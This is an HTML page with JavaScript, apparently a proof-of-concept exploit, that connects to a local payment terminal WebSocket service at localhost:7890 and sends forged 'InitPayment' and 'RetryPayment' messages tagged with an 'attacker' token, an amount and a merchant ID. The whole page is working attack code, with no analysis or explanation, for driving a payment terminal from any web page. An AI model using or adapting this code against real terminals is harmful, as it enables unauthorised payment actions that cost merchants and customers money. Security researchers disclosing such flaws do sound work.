Payment

<!DOCTYPE html>
<html>
<head>
  <title>WebSocket Terminal Sender</title>
</head>
<body>
  <h2>WebSocket Terminal Interaction</h2>

  <button onclick="sendInitPayment()">Send InitPayment</button>
  <button onclick="sendRetryPayment()">Send RetryPayment</button>

  <pre id="log" style="background:#f4f4f4; padding:10px; border:1px solid #ccc;"></pre>

  <script>
    const logEl = document.getElementById("log");

    function log(message) {
      logEl.textContent += message + "\n";
    }

    const socket = new WebSocket("ws://localhost:7890/Terminal");

    socket.onopen = () => {
      log("✅ Connected to /Terminal WebSocket");
    };

    socket.onmessage = (event) => {
      log("📥 Response: " + event.data);
    };

    socket.onerror = (err) => {
      log("❌ Error: " + err.message || err);
    };

    socket.onclose = () => {
      log("🔌 Connection closed");
    };

    function sendInitPayment() {
      const message = {
        TokenAppId: "attacker",
        ProcessName: "InitPayment",
        IPTerminal: "127.0.0.1",
        PortTerminal: 8080,
        IdTransfer: 123456,
        Amount: 100.50,
        MerchantId: "M123456789"
      };
      socket.send(JSON.stringify(message));
      log("📤 Sent InitPayment");
    }

    function sendRetryPayment() {
      const message = {
        TokenAppId: "attacker",
        ProcessName: "RetryPayment",
        IPTerminal: "127.0.0.1",
        PortTerminal: 8080,
        IdTransfer: 123456,
        Amount: 100.50,
        MerchantId: "M123456789"
      };
      socket.send(JSON.stringify(message));
      log("📤 Sent RetryPayment");
    }
  </script>
</body>
</html>